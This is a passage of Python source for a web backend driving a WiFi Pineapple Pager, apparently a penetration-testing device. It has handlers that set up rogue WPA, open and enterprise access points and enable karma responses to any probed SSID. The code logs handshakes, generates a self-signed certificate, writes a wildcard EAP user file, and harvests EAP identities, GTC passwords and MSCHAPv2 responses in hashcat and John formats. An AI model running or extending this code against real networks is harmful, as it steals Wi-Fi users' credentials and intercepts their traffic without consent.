return 200, status_data()
def h_device(ctx):
rc, out, err = device_run(['ip', 'link'])
macs = re.findall(r'link/ether ([0-9a-f:]{17})', out.lower())
return 200, {'hostname': hostname_data(), 'macs': sorted(set(macs)), 'model': 'WiFi Pineapple Pager'}
# Map logical setting -> uci option. Adjust after on-device `uci show pineapd`.
def uci_show(section='pineapd'):
rc, out, err = device_run(['uci', 'show', section])
return out
def uci_set(option, value):
device_run(['uci', 'set', '%s=%s' % (option, value)])
device_run(['uci', 'commit'])
def uci_delete(option):
device_run(['uci', 'delete', option])
device_run(['uci', 'commit'])
def uci_add_list(option, value):
device_run(['uci', 'add_list', '%s=%s' % (option, value)])
device_run(['uci', 'commit'])
def _daemon_proxy(method, subpath, body=None, timeout=15):
status, data = daemon_sock_call(method, '/api/pineap/%s' % subpath, body=body, timeout=timeout)
if status != 200:
return (502 if status == 0 else status), {'error': 'daemon failed', 'detail': data}
return 200, (data if isinstance(data, dict) else {'ok': data is not None})
def h_pineap_get_config(ctx):
return _daemon_proxy('GET', 'get_config')
PINEAP_CONFIG_DEFAULTS = {
'reconpath': '/root/recon/',
'reconname': 'pager',
'payloadpath': '/root/payloads/alerts/',
'handshakepath': '/root/loot/handshakes/',
'loghandshake': False,
'logpartialhandshake': False,
'pcappath': '/root/loot/pcap',
'logpcap': False,
'logwigle': False,
'logrecon': True,
'autossidpool': False,
}
HOSTAPD_DEFAULTS = {
'mgmt_ifaces': ['wlan0mgmt'],
'wpa_ifaces': ['wlan0wpa'],
'pineap_disabled': False,
'pineape_disabled': False,
'pineape_auth_pass': True,
}
def h_pineap_set_config(ctx):
body = ctx.body or {}
status, cur = daemon_sock_call('GET', '/api/pineap/get_config')
if status != 200 or not isinstance(cur, dict):
return 502, {'error': 'could not read current PineAP config', 'detail': cur}
base = dict(PINEAP_CONFIG_DEFAULTS)
base.update(cur)
base.update(body)
status, data = _daemon_proxy('PUT', 'set_config', base)
if status == 200 and 'autossidpool' in body:
update_pineap_state(mode='advanced', collect=bool(body['autossidpool']))
return status, data
def h_pineap_hostapd_get(ctx):
return _daemon_proxy('GET', 'hostapd/get_config')
def h_pineap_hostapd_set(ctx):
body = ctx.body or {}
status, cur = daemon_sock_call('GET', '/api/pineap/hostapd/get_config')
if status != 200 or not isinstance(cur, dict):
return 502, {'error': 'could not read current hostapd config', 'detail': cur}
base = dict(HOSTAPD_DEFAULTS)
base.update(cur)
base.update({k: v for k, v in body.items() if k in HOSTAPD_DEFAULTS})
if _ent_running() and 'pineape_auth_pass' in body:
_ent_ctrl('pineape_auth_enable' if body.get('pineape_auth_pass')
else 'pineape_auth_disable')
return _daemon_proxy('PUT', 'hostapd/set_config', base)
def h_pineap_enable(ctx):
enable = bool((ctx.body or {}).get('enable'))
status, data = _daemon_proxy('PUT', 'hostapd/enable_pineap', {'enable': enable})
if status == 200:
update_pineap_state(mode='advanced', enabled=enable)
return status, data
def h_pineap_mimic(ctx):
enable = bool((ctx.body or {}).get('enable'))
status, data = _daemon_proxy('POST', 'mimic/enable' if enable else 'mimic/disable')
if status == 200:
update_pineap_state(mode='advanced', karma=enable)
return status, data
def h_pineap_examine(ctx):
body = ctx.body or {}
if body.get('reset'):
return _daemon_proxy('POST', 'examine/reset', {'reset': True})
if body.get('bssid'):
req = {'bssid': body['bssid']}
if body.get('seconds') is not None:
req['seconds'] = int(body['seconds'])
return _daemon_proxy('POST', 'examine/bssid', req)
if body.get('channel') is not None:
return _daemon_proxy('POST', 'examine/channel', {'channel': str(int(body['channel']))})
return 400, {'error': 'examine requires bssid, channel or reset'}
def _uci_values(section):
"""Return the simple key/value fields emitted by ``uci show``."""
rc, out, err = device_run(['uci', 'show', section])
cfg = {}
for line in out.splitlines():
line = line.strip()
if '=' not in line:
continue
k, _, v = line.partition('=')
cfg[k.rsplit('.', 1)[-1]] = v.strip("'")
return cfg
def _uci_wifi_iface(name):
return _uci_values('wireless.%s' % name)
BAND_2G = '2.4'
BAND_5G = '5'
BAND_6G = '6'
CHANNEL_BANDS = {
BAND_2G: list(range(1, 15)),
BAND_5G: list(range(36, 178)),
BAND_6G: list(range(181, 234, 4)),
}
DFS_CHANNELS = frozenset([52, 56, 60, 64, 100, 104, 108, 112, 116, 120,
124, 128, 132, 136, 140, 144])
_last_reconcile = 0.0
def channel_band(ch):
if ch is None:
return None
try:
ch = int(ch)
except (TypeError, ValueError):
return None
if 1 <= ch <= 14:
return BAND_2G
if 36 <= ch <= 177:
return BAND_5G
if 177 < ch <= 233 and (ch - 1) % 4 == 0:
return BAND_6G
return None
def channel_freq(band, ch):
if band == BAND_2G:
return 2412 + (ch - 1) * 5
if band == BAND_5G:
return 5180 + (ch - 36) * 5
if band == BAND_6G:
return 5955 + (ch - 1) * 5
return None
def band_htmode(band):
return {BAND_2G: 'HT20', BAND_5G: 'VHT80', BAND_6G: 'HE80'}.get(band)
def band_radio(band):
return 'radio0' if band == BAND_2G else 'radio1'
def _uci_section(section):
return _uci_values(section)
def _ap_iface_dict(cfg, radio_cfg, pool=None):
"""Normalize one wifi-iface UCI dict into the API shape used by the UI."""
channel = cfg.get('channel') or ''
try:
channel = int(channel)
except (TypeError, ValueError):
channel = None
if channel is None:
# An AP without its own channel broadcasts on the radio's channel.
try:
channel = int((radio_cfg or {}).get('channel') or '')
except (TypeError, ValueError):
channel = None
encryption = cfg.get('encryption') or ''
if encryption.startswith('psk2'):
encryption = 'psk2'
elif encryption.startswith('sae'):
encryption = 'sae'
elif encryption.startswith('owe'):
encryption = 'owe'
elif encryption.startswith('wpa2'):
encryption = 'wpa2'
elif encryption.startswith('wpa3'):
encryption = 'wpa3'
return {
'enabled': cfg.get('disabled') == '0',
'ssid': cfg.get('ssid') or '',
'hidden': cfg.get('hidden') == '1',
'channel': channel,
'country': (radio_cfg or {}).get('country') or '',
'enctype': encryption,
'passphrase': cfg.get('key') or '',
'bssid': cfg.get('macaddr') or '',
'target': (pool or {}).get('target') or None,
}
def _radio_dict(name):
cfg = _uci_wifi_iface(name) or {}
return {
'band': {'2g': BAND_2G, '5g': BAND_5G, '6g': BAND_6G}.get(
cfg.get('band'), None),
'channel': cfg.get('channel') or 'auto',
'htmode': cfg.get('htmode') or '',
'country': cfg.get('country') or '',
'disabled': cfg.get('disabled') == '1',
}
def _iface_live(name):
return os.path.exists('/sys/class/net/%s' % name)
def h_pineap_wifi_get_ap(ctx):
global _last_reconcile
pool = _uci_section('pineapd.@ssidpool[0]')
radio0_cfg = _uci_wifi_iface('radio0')
radio1_cfg = _uci_wifi_iface('radio1')
open_cfg = _uci_wifi_iface('wlan0open')
wpa_cfg = _uci_wifi_iface('wlan0wpa')
r1_open_cfg = _uci_wifi_iface('wlan1open')
r1_wpa_cfg = _uci_wifi_iface('wlan1wpa')
status, data = daemon_sock_call('GET', '/api/pineap/hostapd/get_config')
host = data if status == 200 and isinstance(data, dict) else {}
status2, data2 = daemon_sock_call('GET', '/api/pineap/get_config')
pinecfg = data2 if status2 == 200 and isinstance(data2, dict) else {}
for name in ('wlan1open', 'wlan1wpa'):
cfg = _uci_wifi_iface(name)
if cfg and cfg.get('disabled') != '1' and not _iface_live(name):
if time.time() - _last_reconcile > 30:
_last_reconcile = time.time()
device_run(['wifi', 'reload'])
break
ent = _ent_summary(detail=False)
return 200, {
'open': _ap_iface_dict(open_cfg, radio0_cfg, pool),
'wpa': _ap_iface_dict(wpa_cfg, radio0_cfg),
'radio1_open': _ap_iface_dict(r1_open_cfg, radio1_cfg),
'radio1_wpa': _ap_iface_dict(r1_wpa_cfg, radio1_cfg),
'enterprise': {
'enabled': ent['enabled'],
'ssid': ent['ssid'],
'enctype': ent['enctype'],
'passphrase': '',
'hidden': False,
'channel': ent['channel'],
'live': ent['live'],
},
'pool': {'disabled': pool.get('disable') == '1',
'collecting': bool(pinecfg.get('autossidpool')),
'broadcast_blocked': True},
'radios': {
'radio0': _radio_dict('radio0'),
'radio1': _radio_dict('radio1'),
},
'pineape': {
'enabled': not host.get('pineape_disabled', True),
'auth_pass': bool(host.get('pineape_auth_pass')),
},
}
def _apply_open_radio(openap):
"""Persist the Open AP's radio channel/country to wireless.radio0. The
daemon's iface-level channel write does not affect the actual radio, so
apply channel/country here and reload wifi when they change."""
changed = False
radio = _uci_wifi_iface('radio0') or {}
for key in ('channel', 'country'):
value = openap.get(key)
if value is None:
continue
if str(value) != (radio.get(key) or ''):
device_run(['uci', 'set', 'wireless.radio0.%s=%s' % (key, value)])
changed = True
if changed:
device_run(['uci', 'commit', 'wireless'])
device_run(['wifi', 'reload'])
def _open_channel(value):
if value is None:
return 1
try:
return int(value)
except (TypeError, ValueError):
return 1
def _freq_to_channel(freq):
try:
freq = int(freq)
except (TypeError, ValueError):
return None
if 2412 <= freq <= 2484:
return (freq - 2412) // 5 + 1
if 5180 <= freq <= 5885:
return (freq - 5180) // 5 + 36
if 5955 <= freq <= 7115:
return (freq - 5955) // 5 + 1
return None
def _best_channel_for(ssid):
"""Resolve an 'auto' attack channel: the channel the target SSID was
last seen on in recon, else None (caller falls back to defaults)."""
if not ssid:
return None
hex_ssid = ssid.encode('utf-8').hex()
try:
rows = _db_rows(RECON_DB,
"SELECT channel, freq FROM ssid WHERE type = 8 "
"AND ssid = X'%s' ORDER BY time DESC LIMIT 1"
% hex_ssid, timeout=20)
except RuntimeError:
return None
if not rows:
return None
channel = rows[0].get('channel')
if channel is not None:
try:
channel = int(channel)
if 1 <= channel <= 233:
return channel
except (TypeError, ValueError):
pass
return _freq_to_channel(rows[0].get('freq'))
def _read_hop():
rc, out, err = device_run(['uci', 'get', 'pineapd.wlan1mon.hop'])
if rc != 0:
return None
return out.strip()
def _pause_hop():
if _read_hop() != '0':
device_run(['uci', 'set', 'pineapd.wlan1mon.hop=0'])
device_run(['uci', 'commit', 'pineapd'])
device_run(['/etc/init.d/pineapd', 'reload'])
def _resume_hop():
"""Undo a Mark VIII hop pause without fighting a live Pager hop enable."""
wanted = '1'
snap = load_pager_snapshot()
if snap:
hop = (snap.get('uci') or {}).get('pineapd.wlan1mon.hop')
if hop is not None:
wanted = hop
current = _read_hop()
if current == wanted:
return
if current == '1' and wanted == '0':
return
device_run(['uci', 'set', 'pineapd.wlan1mon.hop=%s' % wanted])
device_run(['uci', 'commit', 'pineapd'])
device_run(['/etc/init.d/pineapd', 'reload'])
def _remove_radio1_ap():
device_run(['uci', 'delete', 'wireless.wlan1open'])
device_run(['uci', 'delete', 'wireless.wlan1wpa'])
device_run(['uci', 'set', 'wireless.radio1.channel=auto'])
device_run(['uci', 'set', 'wireless.radio1.band=5g'])
device_run(['uci', 'commit', 'wireless'])
_resume_hop()
def _apply_radio1_ap(openap, wpa):
band = None
if openap is not None:
band = channel_band(openap.get('channel'))
iface = 'wlan1open'
if wpa is not None:
band = channel_band(wpa.get('channel'))
iface = 'wlan1wpa'
if band not in (BAND_5G, BAND_6G):
raise ValueError('radio1 AP requires a 5GHz or 6GHz channel')
if band == BAND_6G and wpa is None:
raise ValueError('6GHz open APs are not supported (6GHz requires WPA3/OWE)')
if band == BAND_6G and wpa is not None:
if (wpa.get('enctype') or 'psk2') not in ('sae', 'owe'):
raise ValueError('6GHz requires WPA3 (sae or owe)')
device_run(['uci', 'delete', 'wireless.wlan1open'])
device_run(['uci', 'delete', 'wireless.wlan1wpa'])
device_run(['uci', 'set', 'wireless.radio1.band=%s' % ('6g' if band == BAND_6G else '5g')])
ch = int(wpa.get('channel') if wpa is not None else openap.get('channel'))
device_run(['uci', 'set', 'wireless.radio1.channel=%d' % ch])
device_run(['uci', 'set', 'wireless.radio1.htmode=%s' % band_htmode(band)])
country = (wpa or openap or {}).get('country')
if country:
device_run(['uci', 'set', 'wireless.radio1.country=%s' % country])
cfg = wpa if wpa is not None else openap
device_run(['uci', 'set', 'wireless.%s=wifi-iface' % iface])
device_run(['uci', 'set', 'wireless.%s.device=radio1' % iface])
device_run(['uci', 'set', 'wireless.%s.mode=ap' % iface])
device_run(['uci', 'set', 'wireless.%s.ifname=%s' % (iface, iface)])
device_run(['uci', 'set', 'wireless.%s.disabled=0' % iface])
device_run(['uci', 'set', 'wireless.%s.ssid=%s' % (iface, cfg.get('ssid') or '')])
device_run(['uci', 'set', 'wireless.%s.hidden=%d' % (iface, 1 if cfg.get('hidden') else 0)])
device_run(['uci', 'set', 'wireless.%s.channel=%d' % (iface, int(cfg.get('channel')))])
if wpa is not None:
device_run(['uci', 'set', 'wireless.%s.encryption=%s' % (iface, wpa.get('enctype') or 'psk2')])
device_run(['uci', 'set', 'wireless.%s.key=%s' % (iface, wpa.get('passphrase') or '')])
else:
device_run(['uci', 'set', 'wireless.%s.encryption=none' % iface])
bssid = (openap or {}).get('bssid') or ''
if bssid:
if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', bssid.upper()):
raise ValueError('invalid BSSID format')
device_run(['uci', 'set', 'wireless.%s.macaddr=%s' % (iface, bssid.upper())])
device_run(['uci', 'commit', 'wireless'])
_pause_hop()
device_run(['wifi', 'reload'])
def h_pineap_wifi_set_ap(ctx):
import mk8_gate
mk8_gate.enter('ap_change')
body = ctx.body or {}
wpa = body.get('wpa') or {}
openap = body.get('open') or {}
wpa_band = channel_band(wpa.get('channel')) if wpa.get('channel') is not None else None
open_band = channel_band(openap.get('channel')) if openap.get('channel') is not None else None
use_radio1 = wpa_band in (BAND_5G, BAND_6G) or open_band in (BAND_5G, BAND_6G)
if use_radio1:
# Exclusivity: an uplink STA on radio1 must go down before any
# radio1 AP change so one phy never carries STA + AP at once.
import mk8_rfplan
try:
mk8_rfplan.ensure_attack()
except Exception:
pass
wpa_active = (wpa_band in (BAND_5G, BAND_6G) and bool(wpa.get('enabled', True))
and wpa.get('channel') is not None)
open_active = (open_band in (BAND_5G, BAND_6G) and bool(openap.get('enabled', True))
and openap.get('channel') is not None)
wpa_present = bool(wpa.get('ssid') or wpa.get('enabled') is not None)
open_present = bool(openap.get('ssid') or openap.get('enabled') is not None)
if (wpa_present and wpa_band == BAND_2G) or (open_present and open_band == BAND_2G):
return 400, {'error': 'cannot configure 2.4GHz and radio1 APs in one request'}
if not (wpa_active or open_active):
_remove_radio1_ap()
device_run(['wifi', 'reload'])
return 200, {'ok': True}
try:
_apply_radio1_ap(openap if open_active else None,
wpa if wpa_active else None)
except ValueError as exc:
return 400, {'error': str(exc)}
return 200, {'ok': True}
if _uci_wifi_iface('wlan1open') or _uci_wifi_iface('wlan1wpa'):
_remove_radio1_ap()
device_run(['wifi', 'reload'])
configs = []
if wpa.get('ssid') or wpa.get('enabled') is not None:
configs.append({
'interface': 'wlan0wpa',
'ssid': wpa.get('ssid', ''),
'enctype': wpa.get('enctype') or 'psk2',
'enabled': bool(wpa.get('enabled', True)),
'hidden': bool(wpa.get('hidden', False)),
'key': wpa.get('passphrase') or '',
'channel': 1,
})
if openap.get('ssid') or openap.get('enabled') is not None:
configs.append({
'interface': 'wlan0open',
'ssid': openap.get('ssid', ''),
'enctype': 'none',
'enabled': bool(openap.get('enabled', True)),
'hidden': bool(openap.get('hidden', False)),
'channel': _open_channel(openap.get('channel')),
'bssid': openap.get('bssid') or '',
})
if not configs:
return 400, {'error': 'no configuration provided'}
status, data = daemon_sock_call('PUT', '/api/settings/wifi/set_ap', body={'configs': configs}, timeout=45)
if status != 200:
return (502 if status == 0 else status), {'error': 'daemon failed', 'detail': data}
_apply_open_radio(openap)
return 200, {'ok': True}
def h_pineap_advertise(ctx):
enable = bool((ctx.body or {}).get('enable'))
if enable:
# The SSID-pool broadcast segfaults pineapd on this firmware. Mark VIII
# never turns it on, even if the Pager UI left the UCI flag unset.
return 400, {'error': 'SSID pool broadcast is disabled on this firmware '
'(pineapd SIGSEGV crash-loop) and cannot be re-enabled'}
status, data = _daemon_proxy('POST', 'ssidpool/enable' if enable else 'ssidpool/disable', {'enable': enable})
if status == 200:
update_pineap_state(mode='advanced', advertise=enable)
return status, data
def h_pineap_collect(ctx):
enable = bool((ctx.body or {}).get('enable'))
status, data = _daemon_proxy('POST', 'ssidpool/enable_collect' if enable else 'ssidpool/disable_collect', {'enable': enable})
if status == 200:
update_pineap_state(mode='advanced', collect=enable)
return status, data
def h_pineap_interfaces(ctx):
return _daemon_proxy('PUT', 'interfaces/set_interface', ctx.body or {})
# --------------------------------------------------------------------------
# Attacks: one-click Evil WPA / Open / Enterprise orchestration.
# Truth is always UCI + live interfaces; every write is verified by re-read.
# --------------------------------------------------------------------------
ATTACK_IFACES = {
'wpa': {'radio0': 'wlan0wpa', 'radio1': 'wlan1wpa'},
'open': {'radio0': 'wlan0open', 'radio1': 'wlan1open'},
}
# Standalone PineAPE enterprise AP (phy1). The stock daemon's enterprise
# config generation is broken on this firmware, so Mark VIII runs its own
# karma+PineAPE hostapd instance for the enterprise attack.
ENT_IFACE = 'wlan1ent'
ENT_CTRL_DIR = '/var/run/hostapd-mk8'
ENT_CONF = '/root/loot/enterprise.conf'
ENT_PIDFILE = '/var/run/hostapd-mk8.pid'
ENT_EAP_USERS = '/root/loot/eap_users'
ENT_STATE = '/root/loot/mk8_enterprise.json'
ENT_DIR = '/root/loot/enterprise'
ENT_CA_CERT = os.path.join(ENT_DIR, 'ca.pem')
ENT_SERVER_CERT = os.path.join(ENT_DIR, 'server.pem')
ENT_SERVER_KEY = os.path.join(ENT_DIR, 'server.key')
ENT_LOG = os.path.join(ENT_DIR, 'hostapd.log')
ENT_CAPTURES = os.path.join(ENT_DIR, 'captures.json')
ENT_BUNDLED_CERTS = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'certs')
_ent_log_cache = {'path': None, 'mtime': None, 'items': []}
ENT_DH_FILE = os.path.join(ENT_DIR, 'dh.pem')
STOCK_HOSTAPD_CTRL = '/var/run/hostapd'
# Hak5 karma hostapd (v2.12-devel) has no parser for these keys. Emitting
# them aborts startup ("unknown configuration item"). dh_file is also
# absent on this mbedtls build (only dh_file2 exists); PEAP uses ECDHE.
ENT_HOSTAPD_UNSUPPORTED = frozenset((
'eap_server_identity',
'eap_server_erp',
'dh_file',
))
def _band_of_channel(channel):
band = channel_band(channel)
if band is None:
raise ValueError('channel must be a 2.4, 5 or 6 GHz channel')
return band
def _set_uci(name, value):
device_run(['uci', 'set', 'wireless.%s=%s' % (name, value)])
def _enable_attack_engine():
"""Turn on the karma response engine + handshake logging."""
_daemon_proxy('PUT', 'hostapd/enable_pineap', {'enable': True})
_daemon_proxy('POST', 'mimic/enable', {'enable': True})
_daemon_proxy('PUT', 'pineap/set_config', {
'loghandshake': True,
'logpartialhandshake': True,
})
def _allow_all_ssids():
"""Set the SSID filter to deny mode (allow-by-default) so karma
responds to any probed SSID."""
rc, out, err = device_run([HAK5CMD, 'SSID_FILTER_MODE', 'deny'], timeout=30)
return rc == 0
def _verify_iface(name, timeout=20.0):
"""Poll until the interface is live in /sys (hostapd applied it)."""
deadline = time.time() + timeout
while time.time() < deadline:
if os.path.exists('/sys/class/net/%s' % name):
return True
time.sleep(1.0)
return False
def _deploy_wpa_open(kind, fields):
channel = fields.get('channel')
if channel is None:
channel = _best_channel_for((fields.get('ssid') or '').strip())
if channel is None:
channel = 1
band = _band_of_channel(channel)
ssid = (fields.get('ssid') or '').strip()
if not ssid:
raise ValueError('SSID is required')
if kind == 'wpa':
passphrase = fields.get('passphrase') or ''
enctype = fields.get('enctype') or 'psk2'
if band == BAND_2G and enctype not in ('psk2', 'sae', 'owe'):
raise ValueError('invalid encryption type')
if enctype in ('psk2', 'sae') and not (8 <= len(passphrase) <= 63):
raise ValueError('passphrase must be 8-63 characters')
if band == BAND_2G:
# Enterprise shares radio0's karma surface: deploying a 2.4 attack
# turns the enterprise AP off so response behavior is predictable.
_disable_enterprise_ap()
iface = ATTACK_IFACES[kind]['radio0']
daemon_cfg = {
'interface': iface,
'ssid': ssid,
'enabled': True,
'hidden': bool(fields.get('hidden')),
'channel': int(channel or 1),
}
if kind == 'wpa':
daemon_cfg['enctype'] = enctype
daemon_cfg['key'] = fields.get('passphrase') or ''
else:
daemon_cfg['enctype'] = 'none'
bssid = (fields.get('bssid') or '').strip().upper()
if bssid:
if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', bssid):
raise ValueError('invalid BSSID format')
daemon_cfg['bssid'] = bssid
status, data = daemon_sock_call('PUT', '/api/settings/wifi/set_ap',
body={'configs': [daemon_cfg]}, timeout=45)
if status != 200:
raise RuntimeError('daemon rejected AP config: %r' % (data,))
if kind == 'open':
_apply_open_radio({'channel': int(channel or 1),
'country': fields.get('country') or 'US'})
else:
# 5/6 GHz: radio1 feature
_remove_radio1_ap()
if kind == 'wpa':
_apply_radio1_ap(None, {
'ssid': ssid, 'passphrase': fields.get('passphrase') or '',
'enctype': enctype, 'hidden': bool(fields.get('hidden')),
'enabled': True, 'channel': int(channel),
'country': fields.get('country') or 'US',
})
iface = 'wlan1wpa'
else:
_apply_radio1_ap({
'ssid': ssid, 'hidden': bool(fields.get('hidden')),
'enabled': True, 'channel': int(channel),
'bssid': fields.get('bssid') or '',
'country': fields.get('country') or 'US',
}, None)
iface = 'wlan1open'
_enable_attack_engine()
_allow_all_ssids()
# The daemon applies AP changes asynchronously; allow a full reload cycle.
verified = _verify_iface(iface, timeout=45)
return {'kind': kind, 'ssid': ssid, 'iface': iface, 'band': band,
'channel': int(channel or 1), 'auto': fields.get('channel') is None,
'verified': verified}
def _disable_enterprise_ap(resume_hop=True):
"""Tear down the standalone PineAPE enterprise AP (wlan1ent on phy1)."""
try:
with open(ENT_PIDFILE) as f:
pid = int(f.read().strip())
if os.path.exists('/proc/%d' % pid):
device_run(['kill', str(pid)], timeout=10)
except (OSError, ValueError):
pass
device_run(['iw', 'dev', ENT_IFACE, 'del'], timeout=10)
_unlink_ent_ctrl()
for p in (ENT_PIDFILE, ENT_STATE):
try:
os.unlink(p)
except OSError:
pass
rc, out, err = device_run(['uci', 'get', 'pineapd.@hostapd[0].mgmtiface'])
if rc == 0 and out.strip() == ENT_IFACE:
device_run(['uci', 'delete', 'pineapd.@hostapd[0].mgmtiface'])
device_run(['uci', 'commit', 'pineapd'])
device_run(['/etc/init.d/pineapd', 'reload'])
if resume_hop and not _radio1_ap_active():
_resume_hop()
def _ent_running():
try:
with open(ENT_PIDFILE) as f:
pid = int(f.read().strip())
return os.path.exists('/proc/%d' % pid)
except (OSError, ValueError):
return False
def _ent_ctrl(cmd, timeout=4):
rc, out, err = device_run(['hostapd_cli', '-p', ENT_CTRL_DIR, '-i', ENT_IFACE, cmd],
timeout=timeout)
return (rc, out or '')
def _ent_state_loaded():
try:
with open(ENT_STATE) as f:
return json.load(f)
except (OSError, ValueError):
return {}
def _eap_secret(value):
"""Sanitize the optional EAP user password written to hostapd's user file."""
text = re.sub(r'[\r\n\t"]', '', (value or '').strip())[:63]
return text or 'dummy'
def _eap_users_text(secret, method='any'):
"""hostapd eap_user_file: PEAP/TTLS outer + inner EAP (WPE-style wildcard).
A phase-1-only `* MSCHAPV2` file cannot complete PEAP/TTLS, so clients
never send an inner identity or MSCHAPv2 response.
"""
secret = _eap_secret(secret)
method = (method or 'any').strip().lower()
if method == 'gtc':
inner = 'GTC,TTLS-PAP,MD5'
elif method == 'mschapv2':
inner = 'MSCHAPV2,TTLS-MSCHAPV2,TTLS-MSCHAP'
else:
inner = 'TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS-MSCHAPV2'
return (
'*\tPEAP,TTLS\n'
'*\t%s\t"%s"\t[2]\n' % (inner, secret)
)
def _mkdir(path):
try:
os.makedirs(path)
except OSError:
if not os.path.isdir(path):
raise
def _copy_file(src, dst):
with open(src, 'rb') as f:
data = f.read()
parent = os.path.dirname(dst)
if parent:
_mkdir(parent)
with open(dst, 'wb') as f:
f.write(data)
return len(data) > 0
def _ensure_ent_certs():
"""Install a server cert so PEAP/TTLS can start a TLS tunnel.
Without ca_cert/server_cert/private_key, clients never reach inner
MSCHAPv2/GTC and nothing is captured.
"""
needed = (ENT_CA_CERT, ENT_SERVER_CERT, ENT_SERVER_KEY)
have_certs = all(os.path.isfile(p) and os.path.getsize(p) > 0 for p in needed)
_mkdir(ENT_DIR)
bundled = (
('ca.pem', ENT_CA_CERT),
('server.pem', ENT_SERVER_CERT),
('server.key', ENT_SERVER_KEY),
('dh.pem', ENT_DH_FILE),
)
if not have_certs or not (os.path.isfile(ENT_DH_FILE) and os.path.getsize(ENT_DH_FILE) > 0):
if all(os.path.isfile(os.path.join(ENT_BUNDLED_CERTS, src))
for src, _dst in bundled[:3]):
try:
for src, dst in bundled:
src_path = os.path.join(ENT_BUNDLED_CERTS, src)
if os.path.isfile(src_path):
_copy_file(src_path, dst)
have_certs = all(os.path.isfile(p) and os.path.getsize(p) > 0 for p in needed)
except OSError:
pass
if have_certs:
return True
rc, _out, _err = device_run([
'openssl', 'req', '-x509', '-newkey', 'rsa:2048', '-sha256', '-days', '3650',
'-nodes', '-keyout', ENT_SERVER_KEY, '-out', ENT_SERVER_CERT,
'-subj', '/C=US/ST=Lab/O=Information Technology/CN=wifi.lab.local',
], timeout=60)
if rc == 0 and os.path.isfile(ENT_SERVER_CERT):
try:
_copy_file(ENT_SERVER_CERT, ENT_CA_CERT)
except OSError:
return False
return all(os.path.isfile(p) and os.path.getsize(p) > 0 for p in needed)
return False
def _hex_clean(value):
return re.sub(r'[^0-9A-Fa-f]', '', value or '').lower()
def _parse_ent_log(text):
"""Pull EAP identities, MSCHAPv2 challenge/response, and GTC passwords."""
items = []
if not text:
return items
def add_mschap(user, chal, resp, source='log'):
user = (user or '').strip().strip('\'"')
chal = _hex_clean(chal)
resp = _hex_clean(resp)
if not user or not chal or not resp:
return
items.append({
'kind': 'mschapv2', 'username': user, 'challenge': chal, 'response': resp,
'hashcat': _mschap_hashcat_5500(user, chal, resp),
'john': _mschap_john(user, chal, resp),
'source': source,
})
for m in re.finditer(
r"identity[:\s=]+['\"]([^'\"]+)['\"]", text, re.I):
ident = m.group(1).strip()
if ident:
items.append({'kind': 'eap-identity', 'username': ident, 'source': 'log'})
for m in re.finditer(
r"EAP-Identity[:\s]+['\"]([^'\"]+)['\"]", text, re.I):
ident = m.group(1).strip()
if ident:
items.append({'kind': 'eap-identity', 'username': ident, 'source': 'log'})
for m in re.finditer(
r'CTRL-EVENT-EAP-IDENTITY\s+(\S+)', text, re.I):
ident = m.group(1).strip().strip('\'"')
if ident:
items.append({'kind': 'eap-identity', 'username': ident, 'source': 'log'})
for m in re.finditer(
r'(?:EAP-)?GTC[:\s].*?username[:\s=]+(\S+).*?password[:\s=]+(\S+)',
text, re.I | re.S):
items.append({
'kind': 'gtc', 'username': m.group(1).strip().strip('\'"'),
'password': m.group(2).strip().strip('\'"'), 'source': 'log',
})
for m in re.finditer(
r'mschapv2:.*?username:\s*(\S+)\s+challenge:\s*([0-9A-Fa-f:]+)\s+response:\s*([0-9A-Fa-f:]+)',
text, re.I | re.S):
add_mschap(m.group(1), m.group(2), m.group(3))
for m in re.finditer(
r'hashcat NETNTLM:\s*(\S+?)::::([0-9A-Fa-f]+):([0-9A-Fa-f]+)',
text, re.I):
add_mschap(m.group(1), m.group(3), m.group(2))
for m in re.finditer(
r'(?:jtr|john) NETNTLM:\s*(\S+?):\$NETNTLM\$([0-9A-Fa-f]+)\$([0-9A-Fa-f]+)',
text, re.I):
add_mschap(m.group(1), m.group(2), m.group(3))
for m in re.finditer(
r'(\S+?):\$NETNTLM\$([0-9A-Fa-f]+)\$([0-9A-Fa-f]+)', text, re.I):
add_mschap(m.group(1), m.group(2), m.group(3))
return items
def _capture_key(item):
return (
item.get('kind') or '',
item.get('username') or '',
item.get('challenge') or '',
item.get('response') or '',
item.get('password') or '',
)
def _merge_captures(*groups):
out = []
seen = set()
for group in groups:
for item in group or []:
key = _capture_key(item)
if key in seen:
continue
seen.add(key)
out.append(item)
return out
def _unique_keep_order(items):
seen = set()
out = []
for item in items:
if not item or item in seen:
continue
seen.add(item)
out.append(item)
return out
def _load_ent_captures():
try:
with open(ENT_CAPTURES) as f:
data = json.load(f)
if isinstance(data, list):
return data
if isinstance(data, dict) and isinstance(data.get('captures'), list):
return data['captures']
except (OSError, ValueError):
pass
return []
def _save_ent_captures(items):
try:
parent = os.path.dirname(ENT_CAPTURES)
if parent:
_mkdir(parent)
with open(ENT_CAPTURES, 'w') as f:
json.dump({'captures': items}, f)
except OSError:
pass
def _harvest_ent_log():
# File only. Full `logread` on this hot path stalls the HTTP workers
# (PineAP log, filters, clients) past the UI's 20s GET timeout.
persisted = _load_ent_captures()
parsed = []
mtime = None
try:
mtime = os.path.getmtime(ENT_LOG)
except OSError:
pass
if (mtime is not None and _ent_log_cache['path'] == ENT_LOG
and _ent_log_cache['mtime'] == mtime):
parsed = list(_ent_log_cache['items'])
else:
try:
with open(ENT_LOG) as f:
parsed = _parse_ent_log(f.read())
except OSError:
parsed = []
_ent_log_cache['path'] = ENT_LOG
_ent_log_cache['mtime'] = mtime
_ent_log_cache['items'] = list(parsed)
merged = _merge_captures(persisted, parsed)
if parsed and merged != persisted:
_save_ent_captures(merged)
return merged
def _link_ent_ctrl():
"""Expose wlan1ent on the stock hostapd ctrl dir so pineapd can see it."""
try:
_mkdir(STOCK_HOSTAPD_CTRL)
except OSError:
return False
src = os.path.join(ENT_CTRL_DIR, ENT_IFACE)
dst = os.path.join(STOCK_HOSTAPD_CTRL, ENT_IFACE)
if not os.path.exists(src):
# Only wait on the live Pager, where wlan1ent exists. Unit tests and
# Linux CI have /proc but not the iface — skip the 8s poll there.
if not os.path.exists('/sys/class/net/%s' % ENT_IFACE):
return False
deadline = time.time() + 8
while time.time() < deadline and not os.path.exists(src):
time.sleep(0.25)
if not os.path.exists(src):
return False
